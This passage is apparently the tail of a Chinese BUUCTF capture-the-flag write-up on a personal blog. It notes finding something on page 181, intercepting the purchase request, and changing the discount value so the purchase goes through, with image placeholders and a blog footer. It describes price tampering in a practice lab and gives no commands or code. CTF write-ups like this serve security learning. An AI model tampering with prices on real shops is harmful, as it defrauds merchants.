这里爆出在181页

在这里抓包

image-20260314160157978

修改折扣就能购买成功

image-20260314160230697


BUUCTF
https://colourful228.github.io/2026/02/10/BUUCTF/
作者
Colourful
发布于
2026年2月10日
更新于
2026年3月14日
许可协议